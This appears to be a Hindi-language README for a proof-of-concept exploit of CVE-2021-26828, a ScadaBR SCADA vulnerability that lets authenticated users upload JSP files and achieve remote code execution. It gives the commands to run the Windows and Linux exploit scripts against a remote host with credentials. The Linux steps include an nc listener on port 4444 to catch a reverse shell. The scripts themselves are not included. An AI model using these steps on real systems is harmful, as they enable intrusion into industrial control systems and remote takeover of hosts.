POC CVE-2021-26828_ScadaBR_RemoteCodeExecution

• लिनक्स पर ScadaBR 0.9.1 और विंडोज पर 1.0 और 1.12.4CE तक के संस्करण, प्रमाणित रिमोट उपयोगकर्ताओं को 'view_edit.shtm' के माध्यम से मनमानी JSP फाइलें अपलोड और निष्पादित करने की अनुमति देते हैं, जिससे रिमोट कोड निष्पादन संभव होता है।

एक्सप्लॉइट उपयोग

कमांड्स:

• विंडोज: $ sudo python WinScada_RCE.py <Remote_Host> <Remote_Port> <User> <Pass>

• लिनक्स: पहले अपनी स्थानीय मशीन पर एक्सप्लॉइट निष्पादन से पहले कोई भी पोर्ट खोलें:

$ sudo nc -vnlp 4444

$ sudo python LinScada_RCE.py <Remote_Host> <Remote_Port> <User> <Pass> <Reverse_IP> <Reverse_Port>

• संदर्भ: